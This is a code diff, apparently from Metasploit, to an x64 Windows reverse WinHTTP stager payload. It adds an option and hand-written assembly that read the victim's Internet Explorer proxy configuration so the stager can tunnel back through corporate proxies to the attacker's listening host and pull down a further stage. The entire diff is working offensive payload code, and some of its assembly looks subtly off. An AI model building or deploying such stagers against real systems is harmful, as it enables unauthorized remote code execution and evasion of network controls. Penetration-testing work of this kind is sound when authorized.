@@ -16,6 +16,16 @@ module Payload::Windows::ReverseWinHttp_x64
16
16
17
17
include Msf ::Payload ::Windows ::ReverseHttp_x64
18
18
19
+ #
20
+ # Register reverse_winhttp specific options
21
+ #
22
+ def initialize ( *args )
23
+ super
24
+ register_advanced_options ( [
25
+ OptBool . new ( 'PayloadProxyIE' , [ false , 'Enable use of IE proxy settings' , true ] )
26
+ ] , self . class )
27
+ end
28
+
19
29
#
20
30
# Generate the first stage
21
31
#
@@ -24,13 +34,14 @@ def generate(opts={})
24
34
ssl : opts [ :ssl ] || false ,
25
35
host : datastore [ 'LHOST' ] ,
26
36
port : datastore [ 'LPORT' ] ,
27
- url : generate_small_uri ,
28
- retry_count : datastore [ 'StagerRetryCount' ]
37
+ uri : generate_small_uri ,
38
+ retry_count : datastore [ 'StagerRetryCount' ] ,
39
+ proxy_ie : datastore [ 'PayloadProxyIE' ]
29
40
}
30
41
31
42
# Add extra options if we have enough space
32
43
unless self . available_space . nil? || required_space > self . available_space
33
- conf [ :url ] = generate_uri
44
+ conf [ :uri ] = generate_uri
34
45
conf [ :exitfunk ] = datastore [ 'EXITFUNC' ]
35
46
conf [ :verify_cert_hash ] = opts [ :verify_cert_hash ]
36
47
conf [ :proxy_host ] = datastore [ 'PayloadProxyHost' ]
@@ -102,7 +113,7 @@ def asm_generate_wchar_array(str)
102
113
# Generate an assembly stub with the configured feature set and options.
103
114
#
104
115
# @option opts [Bool] :ssl Whether or not to enable SSL
105
- # @option opts [String] :url The URI to request during staging
116
+ # @option opts [String] :uri The URI to request during staging
106
117
# @option opts [String] :host The host to connect to
107
118
# @option opts [Fixnum] :port The port to connect to
108
119
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
@@ -114,9 +125,22 @@ def asm_reverse_winhttp(opts={})
114
125
retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
115
126
verify_ssl = nil
116
127
encoded_cert_hash = nil
117
- encoded_url = asm_generate_wchar_array ( opts [ :url ] )
128
+ encoded_uri = asm_generate_wchar_array ( opts [ :uri ] )
118
129
encoded_host = asm_generate_wchar_array ( opts [ :host ] )
119
130
131
+ # this is used by the IE proxy functionality when an autoconfiguration URL
132
+ # is specified. We need the full URL otherwise the call to resolve the proxy
133
+ # for the URL doesn't work.
134
+ full_url = 'http'
135
+ full_url << 's' if opts [ :ssl ]
136
+ full_url << '://' << opts [ :host ]
137
+ full_url << ":#{ opts [ :port ] } " if opts [ :ssl ] && opts [ :port ] != 443
138
+ full_url << ":#{ opts [ :port ] } " if !opts [ :ssl ] && opts [ :port ] != 80
139
+ full_url << opts [ :uri ]
140
+
141
+ encoded_full_url = asm_generate_wchar_array ( full_url )
142
+ encoded_uri_index = full_url . rindex ( '/' ) * 2
143
+
120
144
if opts [ :ssl ] && opts [ :verify_cert_hash ]
121
145
verify_ssl = true
122
146
encoded_cert_hash = opts [ :verify_cert_hash ] . unpack ( "C*" ) . map { |c | "0x%.2x" % c } . join ( "," )
@@ -154,6 +178,14 @@ def asm_reverse_winhttp(opts={})
154
178
http_open_flags |= 0x00800000 # WINHTTP_FLAG_SECURE
155
179
end
156
180
181
+ ie_proxy_autodect = (
182
+ 0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP
183
+ 0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A
184
+
185
+ ie_proxy_flags = (
186
+ 0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT
187
+ 0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL
188
+
157
189
asm = %Q^
158
190
xor rbx, rbx
159
191
load_winhttp:
@@ -207,7 +239,15 @@ def asm_reverse_winhttp(opts={})
207
239
push rbx ; dwFlags (0)
208
240
mov r10, #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpOpen' ) } ; WinHttpOpen
209
241
call rbp
242
+ ^
210
243
244
+ if opts [ :proxy_ie ] == true && !proxy_enabled
245
+ asm << %Q^
246
+ mov r12, rax ; Session handle is required later for ie proxy
247
+ ^
248
+ end
249
+
250
+ asm << %Q^
211
251
call load_server_host
212
252
db #{ encoded_host }
213
253
load_server_host:
@@ -219,12 +259,34 @@ def asm_reverse_winhttp(opts={})
219
259
call rbp
220
260
221
261
call winhttpopenrequest
222
- db #{ encoded_url }
262
+ ^
263
+
264
+ if opts [ :proxy_ie ] == true && !proxy_enabled
265
+ asm << %Q^
266
+ db #{ encoded_full_url }
267
+ ^
268
+ else
269
+ asm << %Q^
270
+ db #{ encoded_uri }
271
+ ^
272
+ end
273
+
274
+ asm << %Q^
223
275
winhttpopenrequest:
224
276
mov rcx, rax ; hConnect
225
277
push rbx
226
278
pop rdx ; pwszVerb (NULL=GET)
227
279
pop r8 ; pwszObjectName (URI)
280
+ ^
281
+
282
+ if opts [ :proxy_ie ] == true && !proxy_enabled
283
+ asm << %Q^
284
+ mov r13, r8 ; store a copy of the URL for later
285
+ add r8, #{ encoded_uri_index } ; move r8 up to where the URI stars
286
+ ^
287
+ end
288
+
289
+ asm << %Q^
228
290
xor r9, r9 ; pwszVersion (NULL)
229
291
push rbx ; stack alignment
230
292
mov rax, #{ "0x%.8x" % http_open_flags } ; dwFlags
@@ -268,6 +330,83 @@ def asm_reverse_winhttp(opts={})
268
330
^
269
331
end
270
332
333
+ if opts [ :proxy_ie ] == true && !proxy_enabled
334
+ asm << %Q^
335
+ ; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is
336
+ ; a 32-byte structure
337
+ sub rax, 32
338
+ mov rdi, rsp ; save a pointer to this buffer
339
+ mov rcx, rdi ; this buffer is also the parameter to the function
340
+ mov r10, #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpGetIEProxyConfigForCurrentUser' ) } ; WinHttpGetIEProxyConfigForCurrentUser
341
+ call rbp
342
+
343
+ test eax, eax ; skip the rest of the proxy stuff if the call failed
344
+ jz ie_proxy_setup_finish
345
+
346
+ ; we don't care about the "auto detect" flag, as it doesn't seem to
347
+ ; impact us at all.
348
+
349
+ ; check if there's an auto configuration URL
350
+ mov rax, [rdi+8]
351
+ test eax, eax
352
+ jz ie_proxy_manual
353
+
354
+ ; set up the autoproxy structure on the stack and get it ready to pass
355
+ ; into the target function
356
+ mov rcx, rbx
357
+ inc rcx
358
+ shl rcx, 32
359
+ push rcx ; dwReserved (0) and fAutoLoginIfChallenged
360
+ push rbx ; lpvReserved (NULL)
361
+ push rax ; lpszAutoConfigUrl
362
+ mov rax, #{ ie_proxy_flags | ie_proxy_autodect << 32 } ; dwAutoDetectFlags and dwFlags
363
+ push rax
364
+ mov r8, rsp ; put the structure in the parameter list
365
+
366
+ ; prepare the proxy info buffer, 32 bytes required
367
+ sub rsp, 32
368
+ mov rdi, rsp ; we'll need a pointer to this later
369
+ mov r9, rdi ; pass it as the 4th parameter
370
+
371
+ ; rest of the parameters
372
+ mov rcx, r12 ; hSession
373
+ mov rdx, r13 ; lpcwszUrl
374
+
375
+ ; finally make the call
376
+ mov r10, #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpGetProxyForUrl' ) } ; WinHttpGetProxyForUrl
377
+ call rbp
378
+
379
+ test eax, eax ; skip the rest of the proxy stuff if the call failed
380
+ jz ie_proxy_setup_finish
381
+ jmp set_ie_proxy ; rdi points to the filled out proxy structure
382
+
383
+ ie_proxy_manual:
384
+ mov rax, [rdi+16] ; check for the manual proxy
385
+ test eax, eax
386
+ jz ie_proxy_setup_finish
387
+
388
+ add rdi, 8
389
+ push 3
390
+ pop rax
391
+ mov [rdi], rax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)
392
+
393
+ ; fallthrough to set the ie proxy
394
+
395
+ set_ie_proxy:
396
+ ; we assume that rdi is going to point to the proxy options
397
+ mov r8, rdi ; lpBuffer (proxy options)
398
+ push 24
399
+ pop r9 ; dwBufferLength (size of proxy options)
400
+ mov rcx, rsi ; hConnection (connection handle)
401
+ push 38
402
+ pop rdx ; (38=WINHTTP_OPTION_PROXY)
403
+ mov r10, #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpSetOption' ) } ; WinHttpSetOption
404
+ call rbp
405
+
406
+ ie_proxy_setup_finish:
407
+ ^
408
+ end
409
+
271
410
if retry_count > 1
272
411
asm << %Q^
273
412
push #{ retry_count }
0 commit comments